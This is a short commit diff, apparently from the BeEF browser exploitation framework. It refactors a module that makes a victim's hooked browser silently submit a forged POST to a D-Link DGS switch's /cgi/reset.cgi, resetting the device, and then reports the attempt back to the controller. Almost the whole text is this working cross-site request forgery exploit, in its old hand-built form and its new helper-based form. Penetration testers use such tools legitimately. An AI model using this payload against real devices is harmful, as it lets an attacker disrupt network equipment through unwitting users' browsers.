Adjusting to use XsrfForm
This commit is contained in:
@@ -8,22 +8,9 @@ beef.execute(function() {
|
||||
// Hooked browser must be authenticated to switch.
|
||||
var base = '<%= @base %>';
|
||||
|
||||
var dlink_dgs_iframe = beef.dom.createInvisibleIframe();
|
||||
|
||||
var form = document.createElement('form');
|
||||
form.setAttribute('action', base + "/cgi/reset.cgi");
|
||||
form.setAttribute('method', 'POST');
|
||||
|
||||
var input = null;
|
||||
|
||||
input = document.createElement('input');
|
||||
input.setAttribute('type', 'hidden');
|
||||
input.setAttribute('name', 'reset');
|
||||
input.setAttribute('value', 1);
|
||||
form.appendChild(input);
|
||||
|
||||
dlink_dgs_iframe.contentWindow.document.body.appendChild(form);
|
||||
form.submit();
|
||||
var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [
|
||||
{ type: 'hidden', name: 'reset', value: 1 }
|
||||
]);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
|
||||
Reference in New Issue
Block a user